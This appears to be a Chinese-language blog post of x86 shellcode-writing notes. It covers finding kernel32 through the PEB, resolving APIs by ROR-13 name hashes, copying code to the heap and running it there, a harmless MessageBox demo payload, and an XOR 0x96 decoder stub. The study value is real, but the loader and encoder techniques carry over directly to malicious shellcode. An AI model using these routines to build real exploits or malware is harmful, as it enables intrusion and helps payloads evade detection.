/*返回值 eax=module base address*/
RESOLVE_MODADDR:
push esi
push 30h
pop ecx //ecx=0x30
mov eax,dword ptr fs:[ecx]
mov eax,dword ptr [eax+0Ch]
mov esi,dword ptr [eax+1Ch]
mov ebx,dword ptr [esi+8] //ebx=模块ntdll地址的VA值
lods dword ptr [esi]
mov eax,dword ptr [eax+8] //eax=模块kernel32地址的VA值
pop esi
ret 4
lods DWORD PTR es:[esi]相當於
mov eax, DWORD PTR es:[esi]
add esi, 4
mov ebx,eax
push ebx //等下esp+18h會用到
push 73E2D87Eh //将ExitProcess的hash值放入内存
call RESOLVE_PROCADDR
mov dword ptr [esi+_EXITPROCESS],eax //保存获取的API地址
/*-----------获取API函数地址在内存中的基地址-----------*/
/*返回值 esi=指向模块名字表入口基址*/
RESOLVE_PROCADDR:
push ebx //ebx保存模块文件在内存的基址
push ebp
push esi
push edi
mov ebp,dword ptr [esp+18h] //esp+18h == esi指向模块基址,执行后ebp为基址
mov eax,dword ptr [ebp+3Ch] //用于定位PE头,e_lfanew
mov edx,dword ptr [ebp+eax+78h] //edx=RVA DataDirectory
add edx,ebp //edx=VA DataDirectory
mov ecx,dword ptr [edx+18h] //ecx保存了模块导出API函数的个数
mov ebx,dword ptr [edx+20h]
add ebx,ebp
NEXT_API:
jecxz SEARCH_FAILED //串操作是否处理完所有数据 //jmp if cx=0
dec ecx //ecx保存了kernel32.dll中API函数的个数
mov esi,dword ptr [ebx+ecx*4] //ebx指向名字表入口基址,
add esi,ebp //ebp为模块基址 //從最後一個api開始取hash
xor edi,edi
cld //将DF置为0,执行lods时esi+1
/*-----------获取模块输出API函数的hash值-----------*/
/*返回值 edi=指向模块名字表hash值*/
/* 入口参数 esi指向PE结构中的名字表入口*/
API_HASH:
xor eax,eax
lods byte ptr [esi] //取byte到al中
cmp al,ah
je COMP_HASH //取得一个完整的API名字 //如果取完hash就跳轉
ror edi,0Dh //每次右循環Dh
add edi,eax
jmp API_HASH
/*-----------获取模块输出API函数的hash值-----------*/
/*返回值 eax=指向函数地址*/
/* 入口参数 edx指向DataDirectory表入口*/
COMP_HASH:
cmp edi,dword ptr [esp+14h] //esp+14保存了存入栈中的hash值,通过计算程序中入栈指令得出14
jne NEXT_API
mov ebx,dword ptr [edx+24h] //esi此时指向函数名字表中待查找的名称
add ebx,ebp //ebp保存Kernel32.dll基址
mov cx,word ptr [ebx+ecx*2]
mov ebx,dword ptr [edx+1Ch]
add ebx,ebp
mov eax,dword ptr [ebx+ecx*4]
add eax,ebp //eax取得函数地址
jmp SEARCH_SUCCESS
SEARCH_FAILED:
xor eax,eax
SEARCH_SUCCESS:
mov edx,ebp
pop edi //用作平衡堆栈,保持出栈平衡
pop esi
pop ebp
pop ebx
ret 8
MEMCPY_CODE:
pop eax //eax是啥?
mov dword ptr [esi+_FUNCSTART], eax
mov dword ptr [esi+_FUNCLEN], HEAPLEN
push esi
//複製3個API入口到heap
mov ecx, 3
mov edi, dword ptr [esi+_BUFF]
lea esi, dword ptr [esi+_LOADLIBRARYA]
rep MOVS dword ptr [edi], dword ptr [esi]
pop esi
add edi, 4*7 //留出一定的空间作存储用
push esi
mov ecx, dword ptr [esi+_FUNCLEN] //edi已经跟随传送指令改变
mov esi, dword ptr [esi+_FUNCSTART]
shr ecx, 2
rep MOVS dword ptr [edi], dword ptr [esi]
pop esi
push esi
mov ecx, dword ptr [esi+_FUNCLEN] //避免指令字节没有按照4字节对齐的情况
and ecx, 0x3
rep MOVS byte ptr [edi], byte ptr [esi]
pop esi
mov eax, dword ptr [esi+_BUFF]
add eax, 4*10
jmp eax
//以下是User自定義shellcode部分,將會複製到heap中執行
xor ebx,ebx
mov esi, dword ptr [esi+_BUFF]
push ebx
//典型string入堆疊法
push 00003233h
push 72657375h
push esp //将“User32”字符串入栈
call dword ptr [esi+HEAP_LOADLIBRARYA] //调用LoadLibraryA(“User32”)
mov dword ptr [esi+HEAP_USER32],eax //将User32模块地址入栈
mov ebx,eax
push 0x0041786f
push 0x42656761
push 0x7373654D //MessageBoxA
push esp
push ebx
call dword ptr [esi+HEAP_GETPROCADDRESS]
mov dword ptr [esi+HEAP_MESSAGEBOXA],eax
push 0000007Eh
push 7E7E7E7Ah
push 68646D43h
push 7E7E7E7Eh //~~~~Cmdhz~~~~
mov dword ptr [esi+HEAP_CMDHZ], esp
push 216fh
push 6c6c6548h
mov dword ptr [esi+HEAP_HELLO], esp
push 0
push dword ptr [esi+HEAP_HELLO]
push dword ptr [esi+HEAP_CMDHZ]
push 0
call dword ptr [esi+HEAP_MESSAGEBOXA] //调用MessageBox函数
push 0
call dword ptr [esi+HEAP_EXITPROCESS] //调用ExitProcess退出进程
//解码shellcode的代码
void DecryptSc()
{
PROC_BEGIN //定义开始标志//0x90
__asm
{
jmp Decode_End
getEncCodeAddr:
pop edx
dec edx
xor ecx,ecx
mov cx, 0x13E //这里取得待解码的shellcode的长度(0x13E)
//????
Decrypt_loop:
xor byte ptr [edx+ecx],96h //异或0x96解码
loop Decrypt_loop
jmp Decode_OK
Decode_End:
call getEncCodeAddr
Decode_OK:
PROC_END //定义结束标志
}
}
沒有留言:
張貼留言